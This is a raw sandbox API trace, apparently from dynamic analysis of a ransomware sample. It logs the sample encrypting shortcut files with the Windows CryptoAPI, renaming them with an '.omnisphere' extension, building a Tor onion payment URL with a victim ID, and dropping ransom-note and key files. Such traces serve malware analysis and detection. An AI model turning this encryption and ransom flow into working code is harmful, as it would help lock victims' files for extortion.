(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ldqagpt0kcbek.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.496] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=766) returned 1 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.496] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] GetTickCount () returned 0x115f912 [0126.497] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668c58) returned 1 [0126.498] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.498] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.498] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.498] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0126.498] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fe, lpName=0x0) returned 0x288 [0126.498] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2fe) returned 0x1480000 [0126.498] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16681b8) returned 1 [0126.499] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0126.499] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.499] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.500] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.501] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.501] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0126.501] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2fe, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.501] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.501] GetProcessHeap () returned 0x1600000 [0126.501] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16d7680 [0126.501] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ldqagpt0kcbek.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ldqagpt0kcbek.lnk.omnisphere")) returned 1 [0126.502] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk.omnisphere.id" [0126.502] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ldqagpt0kcbek.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.503] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.504] CloseHandle (hObject=0x3c0) returned 1 [0126.504] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.504] CloseHandle (hObject=0x288) returned 1 [0126.504] SetEndOfFile (hFile=0x28c) returned 1 [0126.504] FlushFileBuffers (hFile=0x28c) returned 1 [0126.507] CloseHandle (hObject=0x28c) returned 1 [0126.507] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LDQAGpT0kcBEK.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.507] GetProcessHeap () returned 0x1600000 [0126.507] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d8560 [0126.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.507] GetProcessHeap () returned 0x1600000 [0126.507] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d58c0 [0126.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d58c0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.507] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.507] GetProcessHeap () returned 0x1600000 [0126.507] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7dc8 [0126.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7dc8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.507] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.507] GetProcessHeap () returned 0x1600000 [0126.507] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c0890 [0126.507] PathCombineW (in: pszDest=0x16c0890, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.507] GetProcessHeap () returned 0x1600000 [0126.507] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16cfde0 [0126.507] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.508] WriteFile (in: hFile=0x28c, lpBuffer=0x16cfde0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16cfde0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.508] CloseHandle (hObject=0x28c) returned 1 [0126.508] GetProcessHeap () returned 0x1600000 [0126.508] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d8560 | out: hHeap=0x1600000) returned 1 [0126.508] GetProcessHeap () returned 0x1600000 [0126.508] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e998 [0126.508] PathCombineW (in: pszDest=0x162e998, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.508] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.508] CloseHandle (hObject=0x28c) returned 1 [0126.508] GetProcessHeap () returned 0x1600000 [0126.508] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e998 | out: hHeap=0x1600000) returned 1 [0126.508] GetProcessHeap () returned 0x1600000 [0126.508] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.509] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21111602, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21111602, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21111602, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x0, dwReserved1=0xd3, cFileName="liXGae7sT bG6dkDjhlr.lnk", cAlternateFileName="LIXGAE~1.LNK")) returned 1 [0126.509] GetProcessHeap () returned 0x1600000 [0126.509] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166ab78 [0126.509] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="liXGae7sT bG6dkDjhlr.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk" [0126.509] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lixgae7st bg6dkdjhlr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.509] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=698) returned 1 [0126.509] GetTickCount () returned 0x115f922 [0126.509] GetTickCount () returned 0x115f922 [0126.509] GetTickCount () returned 0x115f922 [0126.509] GetTickCount () returned 0x115f922 [0126.509] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 